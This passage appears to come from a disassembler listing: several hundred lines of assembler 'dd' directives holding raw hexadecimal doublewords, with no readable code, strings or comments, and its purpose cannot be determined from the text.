3CD9C0EAh dd 201CC9Ch, 0B78D335Ch, 9043BF2Fh, 137CD0E9h, 96603EC5h dd 0B679A203h, 0DCD8829Bh, 87006533h, 0D481F1FCh, 6B20E8h dd 498001CAh, 2BED2C4Eh, 4A418A00h, 1A8DE504h, 0B01EF6F8h dd 0B0E21D1Ch, 0F96E40CCh, 1CA7CBCAh, 2F3D207Dh, 5D6002E7h dd 0A00ACEADh, 8481D0ACh, 0A04B00BDh, 0ABB28A43h, 2F3B6B67h dd 5B540793h, 5830BE5Eh, 51CE21h, 95F4B0C7h, 0AD921DACh dd 0C102ED00h, 4D4A854Ch, 98D5710Ch, 43A9027Dh, 7377EA8Dh dd 3FC5A880h, 8E0F64EBh, 0E0F3F5B2h, 6DADDCE7h, 317BD7h dd 9836DE18h, 7D606681h, 470F000h, 7A432065h, 2D73052h dd 12277348h, 0E79E1600h, 743AC0BFh, 77A3008Bh, 30E5B69h dd 3D00F6F4h, 0BC266744h, 214201h, 6809087Ah, 516007AAh dd 0D1006FECh, 3A1DF830h, 131297Dh, 2DEC6369h, 0C4E9B789h dd 1F3CBAC8h, 48088037h, 0BC406ECFh, 0EC6A4A0Eh, 9A007B29h dd 232F64AEh, 4CDAD8CDh, 0F9005580h, 323AD9EAh, 560FD4F6h dd 600E354Ah, 0E1D10477h, 26980086h, 0BD71CEFFh, 0BCB85B2Bh dd 200F7A00h, 0FE437CF6h, 0DC4100DAh, 621BA13h, 1C009636h dd 0E3771F63h, 7CAE05h, 5C628908h, 0C78C6EE8h, 0A348CA00h dd 0C22EAD01h, 52BE00D8h, 679F5051h, 3C00BBBAh, 36CDFDDh dd 6A1BA1h, 0D437CA0Ah, 92406F12h, 2013CF2h, 23B6C7C4h dd 0E4CC4BABh, 0E9C0048h, 4E8CB4DEh, 0D60E9A7Dh, 605C2F72h dd 87A24FADh, 71FC00D7h, 15484D1h, 0D4A3EAA3h, 0D8EEE589h dd 40D3BF9Eh, 1B664301h, 6FF45464h, 0AEBE004Bh, 17E6E4Ch dd 18004461h, 0D52520DBh, 0E09FCFh, 9C90438Eh, 0B7F8173Eh dd 980E20B0h, 98FA329Bh, 0E39D20h, 0FE141E73h, 0B2FD1B8Fh dd 0E77F2C00h, 9EFF5E2Ah, 70E050h, 0E036750Fh, 722A8A5h dd 144448h, 0E7727F66h, 1B53034h, 81512743h, 0F1971226h dd 0F020F0FCh, 0F43E6BFAh, 92C9032Bh, 88739D2Ch, 0B0D5A7h dd 936FD9ECh, 41563B6h, 0DD670200h, 0FAA70301h, 946990D5h dd 80930B88h, 63D21A80h, 1600B31Eh, 0F5D3FE5Dh, 238BB3Ah dd 11B80172h, 0A44092FBh, 0AB004E04h, 0B246E6Ch, 3B0EC47Ah dd 0EF80A765h, 209F56F0h, 612CC3CAh, 2CD6E6h, 0EB12F813h dd 0F5FDA440h, 0ECAE0Eh, 13F9C4AFh, 0C21F8DF0h, 0C6E85113h dd 5A80B502h, 0A410405Eh, 9CA05C2Ch, 0C01CEAC0h, 0EBB08A9Ah dd 0A3001878h, 21C8F2F0h, 0C64832h, 86AA8904h, 0FCCCBF75h dd 44A76307h, 71D07DE3h, 0FD851C17h, 1E936C24h, 2CB00A54h dd 802D1DF3h, 6A0DCE87h, 0D0072A1Ah, 0CF8BC316h, 94573280h dd 3196030Ch, 1FB0F377h, 0F0D6D3B0h, 41CF94Ch, 0B4868A51h dd 0C8EE6C90h, 0A2E17708h, 0FC6848DCh, 0D8F300FBh, 290238D6h dd 9F3883E0h, 0C0D8B1h, 0DECD827Ch, 38863E37h, 7B1BFDh dd 2C7D59F1h, 0F25E9DF4h, 0B4A69803h, 0CF080161h, 0E70BB0C0h dd 0F85B248Eh, 80EA05A0h, 0D1C0BA55h, 0E067B5h, 0E29DF22Ch dd 6B94C484h, 535A7900h, 364DC18Fh, 630300C3h, 6E50FD1Ah dd 8E004C91h, 115BE483h, 0C2CC8Bh, 0E59E2098h, 0C6026833h dd 0E100F6B0h, 140927ACh, 126072Fh, 0B4B84DDFh, 4077FD10h dd 0EB644A8Bh, 6CD14403h, 0C0BC51DDh, 3E45E056h, 83802BB7h dd 11535779h, 0F80266F4h, 3984C7BEh, 3774E876h, 0D0FCDBh dd 0B70EB84Bh, 96EEA66Eh, 310A8E00h, 0A847AB70h, 72880757h dd 0E0B57ABCh, 77D05A83h, 0F65E6100h, 1C194356h, 0CA071FD1h dd 0BB090E0h, 1496E73Eh, 30D60120h, 8AE31127h, 0C43C708Dh dd 947E4301h, 0DCE2493Eh, 0EED0F870h, 0E9A30093h, 67989985h dd 900BE08h, 0B20B7074h, 18ADE34Dh, 30A4A701h, 0C7248350h dd 520586B7h, 0B08095B1h, 8964FDh, 0B2017CEBh, 0F2FED996h dd 0E2CD6900h, 0E7AE2B5Dh, 0CC78029Ch, 901C03D2h, 0A7B582E0h dd 440C5F0Fh, 77405D33h, 7651787Dh, 5474331Fh, 45883570h dd 0C0903B82h, 0CD0A180Eh, 0DFDD6EC0h, 368E880h, 8AD25Ah dd 0D697149Ch, 925141EDh, 0C3E21909h, 90908087h, 184A7E99h dd 6E5DFC15h, 0CD03D010h, 0EEB76441h, 0A1F5882Fh, 11EA0089h dd 5AC3C239h, 1602DF27h, 0E724A30h, 25DC50C5h, 0CC10BE26h dd 0A4D9078h, 0CE3B04h, 23192B88h, 1478B50h, 31331B73h dd 0E8DD5982h, 98042480h, 0D8050A2Fh, 84AE0280h, 0E8F00FCh dd 0AFD2ABA6h, 0EE0769C5h, 0D851D5EFh, 6DB31750h, 0AB1B02ADh dd 0BBCF90FCh, 30CCE341h, 47EE8DE8h, 1CD9C503h, 975DB4BDh dd 0D413D750h, 6C5600FBh, 405584D8h, 142EE36Fh, 5C019CBDh dd 0BF914F9Eh, 59E080CAh, 0C343CCh, 0E666B7B5h, 47874B12h dd 0A3CE7200h, 0CD56D59Ch, 671007Ch, 999B97B8h, 39057091h dd 5B5EB398h, 373AC200h, 27CA1E35h, 0AC01B4A0h, 72BC8132h dd 4D8F0090h, 0D0952021h, 56651EA6h, 0A492E4h, 6016C13Ch dd 0AA61C2CEh, 0F214310h, 10D19E0h, 8B9BCF46h, 0C9E2592Fh dd 10716112h, 0C66B2DC8h, 50926378h, 4D49BF07h, 0C450DFA3h dd 0EA6BA58h, 0B175F99Fh, 0F7CA7C80h, 4A07BE11h, 0C63A2C62h dd 0D2408319h, 0F280BF3Bh, 7191C1Fh, 0F10555F5h, 77A1719Eh dd 10CB20CFh, 8028F300h, 0BB3FA566h, 53090232h, 7092E2C8h dd 7400C050h, 4D84B359h, 67196Eh, 0C4AEEAE3h, 9D63CC04h dd 0E0048ECh, 4A775256h, 0B07DF712h, 7CD7015Ch, 5F1BBC1Fh dd 0C5F9DDC8h, 56DAFCB0h, 0BB1CBF03h, 0C03572FDh, 60CFCEh dd 80A92A68h, 5E8F0333h, 3BEA283Dh, 84CB01BBh, 0D55C436Ah dd 0FCB7C200h, 9DB58304h, 3741798Dh, 38149592h, 4F2B3D34h dd 2CB8020h, 74840727h, 217CA98Dh, 30E6651Bh, 2E021024h dd 0EE6B3E78h, 15C377CBh, 34EA80CDh, 0EC987622h, 10066E2h dd 9521D9F0h, 0C667F9h, 0AF37BBEFh, 8380E809h, 8CD44200h dd 4C704F27h, 0BFB5005Eh, 33C30B86h, 8500C511h, 62050991h dd 2600D4Fh, 2967EA66h, 15E09212h, 0B0B06FA3h, 228EA204h dd 0D4C0A775h, 0FF3FED4h, 0F3FABB4h, 87E7D2A0h, 72482A32h dd 1D733918h, 755E93D5h, 47AA80FBh, 0C5CB5192h, 1EF0F2F5h dd 0D55E3h, 0F180604Dh, 0E60047F2h, 0FA25EC13h, 7B131h dd 0CBA818A7h, 0BB152CD5h, 0E4FDC498h, 6680B352h, 0A70216C9h dd 639400B5h, 0CBC46AB7h, 31F0E400h, 0CA865593h, 48FBE8F3h dd 9C1F788Ch, 0B127408Ah, 886BE313h, 60CB5600h, 708F65Ah dd 23740016h, 1F1EB458h, 0F20983CCh, 80E5C678h, 571D2A10h dd 49AE0043h, 5F9E6EB2h, 0EB001863h, 5056DE8Ch, 0AA5DFh dd 0CAEEC84h, 8104FFA2h, 31BC5F00h, 0F9E04F6Eh, 4DDD00F8h dd 7A45DB43h, 0A00204Ch dd 0B4F0A23Ch, 3E4BA106h, 778798BDh, 619AB832h, 0C8D33574h dd 0DC002D9Eh, 0E6E7EB2Eh, 0FA995026h, 750600E9h, 0FCE5DB1Ah dd 21E82AC5h, 221F8600h, 0BBB4BA52h, 4A9909B8h, 0D000D8E3h dd 871B58D9h, 927C4F02h, 48962B54h, 3CF417F4h, 0D882F6B1h dd 464ED72Eh, 0D1A9A4C8h, 638B9700h, 516F70C8h, 959B00DCh dd 0B77AA3B6h, 7C008190h, 3B6375D6h, 1F27F1FDh, 0A839C06Ah dd 45E16DCh, 0A01CB0h, 40E95DD4h, 0A4A0C014h, 0F20084D2h dd 5A104A5h, 13E068h, 33DD5B7h, 9880FF24h, 8C496224h, 0F3C06C1Eh dd 0C4199630h, 0AA5033E6h, 10C0CF18h, 0A00C0614h, 0C02772F2h dd 0AAF4003Fh, 0FB76098Ah, 0B80074B1h, 402FB2F3h, 72A747D0h dd 35BA0E7Dh, 0F9C3819Bh, 89B0EB73h, 3006786h, 17F5ACCEh dd 1292D8h, 44DFB29h, 18266094h, 4F0CD701h, 517BC972h dd 3D6AD8h, 0DFA5E2A3h, 82FED243h, 0DA494500h, 5B56481Bh dd 0F331005Fh, 6CD4A337h, 1002A8Dh, 5AE1B114h, 0AB11D9h dd 0D949387h, 34F7488Bh, 7F9EE500h, 171358D5h, 0EA050054h dd 9AECBFFCh, 0DCA8F188h, 0C0B658ABh, 698D3C00h, 986A2FE2h dd 4D8E0030h, 24E6282Ah, 0F6000385h, 19291838h, 4BF81Fh dd 69B0FDFBh, 90BEDFD9h, 0EC83B102h, 81B48EE4h, 0C460A2DCh dd 725EA710h, 9A9B4100h, 0E909B040h, 1D1700AAh, 0EFBC91D1h dd 587793DBh, 0C5BDFC00h, 0AD15F64Dh, 8BED0BCEh, 1480C0C2h dd 86084A58h, 9100BC90h, 37921477h, 11150Ah, 68D7A6AEh dd 59A3F4F3h, 0BBA17E0Eh, 0E33B6061h, 1CDFFD45h, 0C07130C2h dd 2A2C4A6Fh, 1701B724h, 6DEF0B20h, 0EDC995Bh, 2EF2007Fh dd 8EE3F4ADh, 0D100A4F6h, 5CF7F9C1h, 16C087h, 8BB8293Bh dd 91490F55h, 0D93C3Ch, 0E889DDF5h, 77DA4Eh, 61991045h dd 0FDDE705Eh, 74AD9000h, 0BD27EF5Fh, 257256h, 0E37E6F60h dd 0B817DB13h, 80BC2CF8h, 1CF1833Fh, 0D94AF257h, 0CE207B09h dd 0CA7E0315h, 0D7CD3D22h, 983B4100h, 38D05295h, 5567008Eh dd 0A8FE905Fh, 43FAD9E6h, 2F2D091Dh, 48206C0Ch, 0B61300A3h dd 28DEFAE2h, 710059EBh, 450E1AA5h, 4FF5D78Fh, 7ACC0027h dd 6CD876ABh, 2824B5Ch, 0B5DAA3F2h, 12A0721Eh, 6EDBC8h dd 0B6B6192h, 601C6870h, 65476D0Eh, 81FA9E71h, 5A7CC700h dd 7DC1B4h, 0B6FBBD59h, 2615D484h, 9403085Fh, 91F2A1h dd 0B4275E79h, 0B04C61E1h, 38074212h, 553E5800h, 0C149128h dd 93218C81h, 89301631h, 768E4909h, 84051D33h, 65601E7Eh dd 80E34C69h, 0D28B9A50h, 3B0E63h, 314FE8F1h, 7326049h dd 0BE92331Eh, 0EA00211Eh, 28090189h, 0BF2000E3h, 4C91E5BDh dd 3CA03E93h, 945CB7A2h, 0E3C201F1h, 84CDB78h, 0A01AFCh dd 0E89DFB09h, 57B34A60h, 0BC908960h, 5015DF84h, 508C7C23h dd 70C283Fh, 4A962854h, 14FE4F5Dh, 0E400142Ch, 0D5640E05h dd 58006AF4h, 994093E9h, 3F3DE01h, 443F72E1h, 0EB889B81h dd 41004C52h, 0D76DF72Bh, 0E94F43h, 2F441AA9h, 0ACE8D834h dd 0D5493800h, 372356A8h, 0F19600B0h, 860ECBE0h, 200E7A93h dd 232BD62Ch, 0C330BD83h, 0E07EAB59h, 9187988h, 0CC34E41h dd 0E1F88851h, 0A3840201h, 0F678371Dh, 9BC30C81h, 99289EF5h dd 1CC2BE0Ah, 32FA3700h, 0CE41498h, 0AC167E2Dh, 21C08908h dd 0C132B1CCh, 6A1701FCh, 0E4A33384h, 0F041817Fh, 0CC623824h dd 1AED9BFDh, 69C39847h, 78998612h, 1DA8180Eh, 0B64011E5h dd 6FA53D00h, 67931E58h, 0FE08CC48h, 8303A221h, 557C193Dh dd 73D4D881h, 0E09528F2h, 2A24660h, 149432BEh, 108E3104h dd 932B5D0h, 0EF30D4BFh, 0F7E93201h, 0E5419C78h, 0DE2A8FC7h dd 949822C9h, 73A89069h, 6E2403E5h, 400203CCh, 65293Fh dd 0E8C67CBh, 1DEFC27Ah, 0F80F7F2h, 1CC061EDh, 6DA6AA62h dd 257BCC7Dh, 0BB1A50C0h, 1DECC1C8h, 952DD6E1h, 7C881CF8h dd 103C980Ch, 1ED7FCE0h, 1EF8165h, 92B93644h, 0C8E04B9Fh dd 89A6C06Bh, 940051CAh, 147C6F41h, 4468F17h, 23911658h dd 0C00C9B27h, 0CF12339Eh, 6C143F0Bh, 6EAE3A0Eh, 6B778C81h dd 81F2F08Fh, 13E00297h, 0BC700072h, 49C0B8C2h, 0C3CF3BFFh dd 0F98B08Bh, 6C73240Ch, 81218C0Ch, 75628200h, 1A99AF1Dh dd 5D2D007Ch, 1170C95Bh, 3B1F1CF7h, 634961E8h, 6FD820E6h dd 5488A07Ah, 11E472h, 84BE5695h, 8CED3196h, 750898EDh dd 0ADB221h, 81BC2D56h, 0FC0DD747h, 0A2A30807h, 6A21A958h dd 73C0E593h, 0E865E4F0h, 9D3F00AAh, 0FE7FFBFDh, 643AC88Fh dd 0BCB3126Fh, 0E2390C01h, 0F0807D7Bh, 81A4CA67h, 0E5260F78h dd 440164D1h, 7DE9B095h, 0CF1AB850h, 0E3B43325h, 930FB21h dd 0A5BA2152h, 2E370025h, 5A9123F4h, 0DA05D194h, 6C973858h dd 0EF3FB000h, 608893C1h, 0BF4AD962h, 3E0F9808h, 0E061FEFDh dd 0C8AAE6B7h, 0B4731216h, 0E7610040h, 8D3A0F80h, 3E0999EEh dd 1D622DADh, 806B11B4h, 0A94621A6h, 0B98E00B7h, 0A43E54E4h dd 0CCA150FBh, 964FD473h, 4BB05764h, 0BA040249h, 0FAC80BDh dd 0D1838D2Dh, 90523D63h, 8A60F5F1h, 3B64078Fh, 8482A120h dd 32BF30A7h, 0BC14AF11h, 0D1808888h, 65E332B6h, 0B35A00C2h dd 421E4726h, 0F40E409Dh, 60B6A59Fh, 6C906057h, 88861569h dd 7EA40Bh, 27210D05h, 10506DFAh, 9F7B1D74h, 0BECE7609h dd 9F0D0B9h, 1797E19Ah, 60A64004h, 7BF85693h, 7E448C84h dd 56AB004Ch, 7185F5AEh, 1724F8E7h, 69092486h, 0E99C900Dh dd 44200596h, 11B53DCh, 0B2FF80A8h, 0F02031D0h, 6454E431h dd 0B101EB88h, 948A837Fh, 0FAFC792Eh, 0D39800B8h, 8DF5D4BDh dd 971A6FE9h, 3688847h, 841F63ECh, 8CDDA088h, 0FB569805h dd 60284E84h, 775B053h, 2065F1C0h, 8EFBA166h, 9EE4488Ch dd 4A0629CEh, 25BEC86Ah, 0E4FCE861h, 0D8A7886Eh, 44B9EA00h dd 80C751EBh, 556C0057h, 6D2EC840h, 950228BEh, 4B123853h dd 0A1B04020h, 0C93600A2h, 0E5291D08h, 8F0063B7h, 882DEC14h dd 981910F3h, 800AEAF4h, 0BB249F59h, 0C428242Ch, 0A402B146h dd 0C9E3B525h, 6C165331h, 8DF72500h, 9AA9280Fh, 0AD630019h dd 84E1F28Ah, 0F3509C8Fh, 0E8541FC8h, 50000BDCh, 338A6377h dd 0B86DE3BEh, 314A12AFh, 23142F6Ah, 849D017Dh, 82E66DEFh dd 936C3E68h, 8ADC8055h, 984978E7h, 9B100B88h, 0C818591Fh dd 46840D8Bh, 3DB402AAh, 30486FCFh, 0A0800C3Bh, 773D00A1h dd 0ADB95544h, 690BC490h, 20E4FC24h, 609A7154h, 0FA5C093Dh dd 88F1DF70h, 8FE9DD85h, 469B020h, 7B5B85Ah, 0AA6B5BF5h dd 3F70FAA7h, 18E12800h, 0C01FEBB9h, 3B9E0F00h, 3F073AEDh dd 0B0605F9h, 0C08CF8C9h, 1B89BBF8h, 902993Ch, 0F34BD0C4h dd 840269Ch, 69060581h, 2EF1F41Ah, 43008EE9h, 20C857FBh dd 590476BEh, 0B5955F3Ch, 8C80898h, 0A9E3B925h, 0BD4057C4h dd 8E3925A6h, 91967400h, 0E3F4672Eh, 6B860AF8h, 42CC6603h dd 0D8083FFCh, 0B428CC21h, 9202A746h, 0BE84F956h, 0B1000047h dd 68256AAh, 4FD094E1h, 775C25A0h, 0BCA6CE53h, 87457B09h dd 1D04F8DBh, 0C5354E42h, 4007769Bh, 6591C9A0h, 71240F2Eh dd 0BBC008ABh, 0EB6FCE3Dh, 21C0F318h, 0A3DBCA7h, 8FD609ACh dd 88D8E7E8h, 6021E96Fh, 650EEC5h, 0ABDB00C3h, 471C8BDFh dd 554CFC8Eh, 48042208h, 37070851h, 92BF105h, 5E296881h dd 432848E8h dd 8E621200h, 57A9EBADh, 1530245h, 76B8674Bh, 626A7C61h dd 3079F2F8h, 53021330h, 0DBF1E5B1h, 57E0C1CAh, 0C205875h dd 0C0988CB2h, 0C1E3B616h, 1B8D038h, 53A525A3h, 60C82EE7h dd 8A7A30CCh, 1B21C490h, 0C7988DFh, 0BA60A444h, 6F23C93Dh dd 21F118B8h, 3D3FA7A6h, 8DD286BAh, 519EF1Dh, 95800EC2h dd 4D9081C8h, 60A07068h, 0F0885488h, 4F900110h, 0A8090DA9h dd 9F5480F9h, 0A1DDDEA7h, 765B1251h, 0FEDC60BEh, 1B26876Dh dd 0C30C9430h, 0F8575199h, 825D3B1Dh, 4BEB0D80h, 2BAC9BCEh dd 1F3C0904h, 0F4C2EA1Ah, 0E97721BDh, 5B821786h, 52CC6016h dd 57620644h, 0C9E61169h, 38036E02h, 6013C402h, 24F0EFD4h dd 36069DFh, 1A8410E7h, 9EE9180Ah, 1F3BFC23h, 538B62D4h dd 1B6002A5h, 19A211DFh, 250456CCh, 164684h, 56AF4800h dd 15D9CF14h, 0DE62018Fh, 0C3D88E53h, 23C980BEh, 0B7D31B08h dd 757E4B4h, 1098EC99h, 0E0C14C1Fh, 0DE086160h, 0E06B84C4h dd 0F38C05A1h, 0D04E6CB4h, 0B6A77EACh, 773B6498h, 58345CB0h dd 0CEAB0120h, 3E92BF07h, 26F99470h, 4904146Dh, 0F405400Eh dd 8800125h, 7056028Dh, 554C8483h, 33047688h, 983A246Dh dd 0F2882C8Eh, 0E896B7C0h, 40AB648Bh, 38D0A4C3h, 334AE70Fh dd 757C0A0h, 12D610C6h, 945F5EFh, 486D9914h, 4469A860h dd 0E1F00B9h, 0A065BF58h, 935040D6h, 0E4872BE4h, 0FEA4607Eh dd 878048E5h, 9A3A1961h, 87F0F895h, 900CFE8h, 64B0F34Bh dd 696C4C34h, 0FC447133h, 8B3FF90Fh, 0F407176Bh, 57302629h dd 907723h, 861E1867h, 6D7D1517h, 650035F0h, 338970A1h dd 3C9F02A7h, 4C4CE421h, 9901DC23h, 0B684FA56h, 4E887418h dd 45561C91h, 6DFA45D6h, 6F618079h, 9450D3F7h, 0C0240F3h dd 9FB7F32Fh, 797459EDh, 0EC4187Fh, 5F3F2E58h, 0A43E9580h dd 28941F3Bh, 0EE8D4380h, 9D19461h, 679BEAD5h, 0E5A144E8h dd 2B717F02h, 404319EFh, 707C4400h, 76BC961Fh, 0F9747846h dd 3F2F9830h, 4C30FF8Bh, 0CD31A58h, 7DF90491h, 0A18E218h dd 1D51CDEFh, 0AADA096Dh, 0F0C6669Ah, 0C4B97F73h, 0D31874D1h dd 90FEFD76h, 92F3843Eh, 1003C72Ah, 71D7B9Bh, 0BAD89FB8h dd 8A47AF9h, 96800F74h, 4B3B7CC8h, 0DE7304AAh, 8EE73E62h dd 0C3F84DCh, 2DE12130h, 4AC7A201h, 0EBACF78Bh, 88F5C864h dd 2D00A7CAh, 292CE59Dh, 99149Ah, 0E6089E91h, 715E1610h dd 0ED1DDF1Bh, 95A1E031h, 70011CD4h, 0FE8A816Ch, 297C4BC8h dd 0F9060E34h, 683121EDh, 0F43CB312h, 10242E96h, 19C00C3Fh dd 0A53AA271h, 0C900BA7Eh, 42E9C9Ah, 0D60EB51Eh, 12506E59h dd 50880EC7h, 0A95D000Ah, 6A05C26Dh, 380B2AD5h, 0A16CD7A4h dd 8C5C8FD0h, 0F85E7C20h, 18046067h, 0E3ECF72Ah, 0A21AA8A0h dd 0EEE51105h, 10C20D0Eh, 25AA30B3h, 79E3B711h, 0BF805188h dd 0F8AB25D8h, 5231630h, 0A76890FBh, 4E90A88h, 2F1301C0h dd 0E8F011Fh, 0D8571663h, 4B86CF9h, 90ABFF6Eh, 9C1F30F4h dd 852D42A0h, 4C13C8A2h, 9C01B0AEh, 53EB1DD6h, 57E0C78Ch dd 5200951Ah, 0F2098FABh, 1340C833h, 0A0EAC373h, 6C6094A4h dd 0F106E031h, 56611E25h, 8DE9041Ah, 5C3CA0E3h, 465C609Eh dd 548076Eh, 0E8B871Ah, 976F0964h, 80799190h, 23E75BB4h dd 0FB6E0126h, 699AAB7Ch, 97C1810Dh, 32EBFF4Fh, 25E75C70h dd 101740D3h, 98837491h, 0EAD0F39Ch, 8B08CE5h, 15A38400h dd 10E3522Eh, 84C0AA43h, 0B960AD50h, 6F23C83Dh, 0CC4415B0h dd 3DA2A501h, 0F4AD6C07h, 910FAEB7h, 0C568011Ch, 0D0E895D3h dd 4CE78210h, 1A123B0h, 149532F9h, 889C18ACh, 3200B0D7h dd 813E6411h, 53350469h, 55A2D84Ch, 5C3830h, 0BDC551D7h dd 0E56EC30Ch, 9FB12300h, 44DFCDB8h, 4C910BE3h, 88893089h dd 7EE46845h, 4A4E1067h, 209B048h, 0F650E7h, 88DEA4B8h dd 44D006BAh, 0E166C3FCh, 5DA8CD03h, 8C057C2Bh, 36AE16C0h dd 57E7074Ah, 0A58F6Dh, 0D0506B9Ah, 52C5B58h, 98EA737Bh dd 9CE268A2h, 6780D733h, 24A95869h, 0C0BC0250h, 6B7F8757h dd 4DE5D8A0h, 3BCF902h, 4062CFEAh, 480AFF70h, 4622A815h dd 816AE430h, 0E6D75983h, 0EABE0015h, 603966CDh, 1104D926h dd 22C3DCEEh, 8077C8D3h, 133E218Ah, 760DF7Ch, 4E56C4Ch dd 708A0C4h, 3E69A709h, 884024FFh, 0EA9888h, 6810AD08h dd 85A6A203h, 783FEC00h, 4DFB4905h, 0B99D0044h, 1593B5D2h dd 69070C18h, 39D78312h, 488B0FE5h, 2AC23BC8h, 0F6AA83EFh dd 305DA84Dh, 25847A89h, 0EC8642D5h, 0E913313Fh, 0CD2668Fh dd 0F8E04415h, 7C1D389h, 0A66BBE0Dh, 1A13F818h, 0D44330FFh dd 2B86694h, 0E8E55129h, 80FC7387h, 1FA63Ah, 18175B80h dd 631369B0h, 876D791Bh, 0DC8064BAh, 54A2DFAh, 5A52FF04h dd 0B88E39D5h, 43C06A88h, 926C52h, 0D4C1B3B1h, 8CB2741Dh dd 912E1300h, 93AA46FEh, 1C5C594Dh, 8CFC27B8h, 7B6C5C03h dd 3780BE2h, 806A99E8h, 58E0B1ADh, 5F169004h, 0ACD408FDh dd 28FEE081h, 745EA985h, 10F4D753h, 8AB6A5AAh, 570E8190h dd 869AA4BCh, 796BEBh, 883B95C7h, 0BE272C84h, 730092EEh dd 0E3B53894h, 3DC93197h, 0E5AEBFF8h, 3846745Ch, 2EE17806h dd 0CBF428CFh, 7DD83750h, 0E5601250h, 783F802Ch, 0E885AA96h dd 773BB004h, 0F3C40113h, 0D4C14DADh, 0B0B988E7h, 7C70F600h dd 18F2B046h, 0F1B49F3Eh, 6B072496h, 8669BA41h, 0B97CC909h dd 786D1031h, 5177E7ACh, 0D6F60500h, 3DCB8B84h, 18B32074h dd 13C8C00h, 440FBCEAh, 64509C7Ch, 569460A1h, 0AE8423BFh dd 7B7C43Fh, 8F4D56A4h, 3C95C05Bh, 6E1346F8h, 40416F87h dd 7AAFE8E3h, 346D8C40h, 5C6CB65Fh, 3B035546h, 4A762DDEh dd 73F64EC8h, 834BF918h, 123DB8EAh, 0A375FE05h, 3089E2C4h dd 5D007679h, 913C150h, 0F054FB73h, 1A0D1CD4h, 8F1AE0DFh dd 535874BFh, 4F497070h, 690396F8h, 609A932Eh, 8421050Eh dd 80E578E7h, 71E14D30h, 54D1C891h, 703EA918h, 2F3B818h dd 57FF6D84h, 92C48281h, 918C979Fh, 1DE88088h, 0B66D56h dd 0FB820F66h, 5D84ED47h, 0BC70B82Ch, 0E7288A40h, 0D180E18Fh dd 9B73F4B3h, 4C00E1D3h, 0B717AAA6h, 4F5CE4A1h, 4046E6Bh dd 0C3CEB203h, 8A0018BDh, 7E0BF5DFh, 0A0958DEAh, 0F77F3FCh dd 0A5AE0CCFh, 591018Fh, 0E927D900h, 5F25B291h, 9D790060h dd 337E8B31h, 23788C03h, 0EFD6EE09h, 68E4912Dh, 0D8C86845h dd 467003Eh, 21EDD17Eh, 38931289h, 74559878h, 0F2FF03CCh dd 67FA05D3h, 2F1E2125h, 7523408Ch, 545618h, 0CEA90E24h dd 0B9B6E886h, 57D19CB9h, 0B0F4718h, 0A1687ABFh, 7D8B5CFEh dd 8721A022h, 40746BDh, 18149632h, 0D2409DC4h, 0DB6A32B3h dd 3FE40818h, 0B6166939h, 0D819B804h, 7461A27Bh, 8C7EA10Ch dd 7F1B9800h, 0E52DED3Eh, 9F5916EFh, 4074C353h, 2A9B70E7h dd 0A75CB0DDh, 0A93B2270h, 6503B86Ch, 0AD88EAA8h, 0BCC29540h dd 449E8040h, 5A0BD87Eh, 0AE5B3707h, 6CF4BE59h, 0C8044ACh dd 0DE82A512h, 75439500h, 22EDAE66h, 1A5602E6h, 0B9E73A44h dd 0A4266EE0h, 88478F4Bh, 0B471C605h, 0AAE848DFh, 0B2A91E54h dd 0C11B9A21h, 0E330A757h, 0F0F1FC05h, 41941FFDh, 0F622906Ch dd 32009CA6h, 888E9C12h, 3B0A3D1h, 53F84881h, 4599FB8Bh dd 6F288213h, 578703FFh dd 485F4027h, 4432DF81h, 64200B5Ah, 32898E0h, 6068AA9Fh dd 69E68FF8h, 0DB74300h, 50F55B36h, 46840002h, 0A8285C0Ch dd 4A0BEAE8h, 2D6B1A63h, 96D970E8h, 2F954401h, 3B109C2Fh dd 0F461C10Ch, 0AFE43199h, 86F91F7Ch, 446B058Ah, 24ACA4DCh dd 3889D713h, 8059E0C8h, 912913F1h, 0E386B06Dh, 48F9EF18h dd 35C7D070h, 9C017E4Ah, 70A1A8FBh, 89D66220h, 6A0B3C0Bh dd 3014C474h, 3E28B0A4h, 6DF80530h, 660E9918h, 169E120h dd 0FF873104h, 6DEE8384h, 3A9ABC2Ch, 1A0F1102h, 7EA02194h dd 6DF7438h, 69257CBAh, 8F402415h, 2994A4h, 7BC9BDB2h dd 42D78EAh, 83103507h, 505075CAh, 477D5A9h, 0A7AABC1Fh dd 80C4C502h, 765A6C9Ch, 0E501DCB6h, 9547974Fh, 8A135879h dd 96D080E9h, 0B14E4DA4h, 0EC0FE40Ah, 44465Eh, 7021EE51h dd 16B59A4h, 73B258C1h, 30F85BE5h, 0ED7115A8h, 0C5996125h dd 609CC48Ch, 19673696h, 0A055E5D3h, 0BB51891h, 506FA43Dh dd 0A1804CE5h, 0B8773DBEh, 73A803B5h, 8FDD46Dh, 0E084B0ECh dd 63635825h, 4E41A448h, 93A2B066h, 78A39970h, 8A895F11h dd 9C641C16h, 23ACF612h, 74B0AC2Ah, 2B007046h, 77EEDF76h dd 273BF9EAh, 0A5E53F43h, 6D380217h, 0E018EDCCh, 627E3267h dd 0FB9C301h, 0CF2A9EE9h, 10C42F2Bh, 92C071FDh, 9B5B8EFFh dd 65BB570Eh, 34DA216Dh, 0C038E0BFh, 8C74BCh, 7AD84D6h dd 55E439FAh, 47505091h, 738007DFh, 0B09CF7D9h, 675E298Ah dd 1118BEEEh, 0AF19D6E5h, 2F202834h, 0E004009Ch, 836C2886h dd 890FC557h, 2084143Dh, 427EF2F1h, 514D1E74h, 0A52B0724h dd 926D8340h, 0F7C84814h, 4CD0E004h, 0E1FE00F3h, 0C42BFC58h dd 40F9EB50h, 0C806F2C3h, 3ED0B0Ch, 2B4EC9h, 0F794A9E1h dd 0E791C1E2h, 9C4BBF03h, 0BB58C6FFh, 7B4FB0FBh, 695D0320h dd 70452EC8h, 0E40F7100h, 0F4ECF8B8h, 0EEA019BBh, 8077088Ch dd 0B89BB221h, 0FFD358h, 9EE57D6h, 0E702FE35h, 3D18781Eh dd 6FA27BC3h, 0F91D98FBh, 0E881EF3Bh, 9FB3CBC8h, 97788695h dd 7E09E7Fh, 61D41E4Fh, 0D927706Ch, 3B008278h, 0F5C84174h dd 371645B5h, 10208690h, 0EE47D9C3h, 9D209553h, 37817D51h dd 6F8026h, 0D1966DC6h, 7C00AC3Ah, 243105B9h, 9F192CA2h dd 0B408B21Bh, 9DD6219Eh, 3D484005h, 2E25FB66h, 0EC15EF7Ch dd 2D0C5E5h, 0B75E3328h, 90184A4Fh, 819B231Ch, 275EE488h dd 0B9ACA500h, 0E6568262h, 0A4990A0Eh, 85AC6A1Bh, 419D496Ch dd 7927C2F8h, 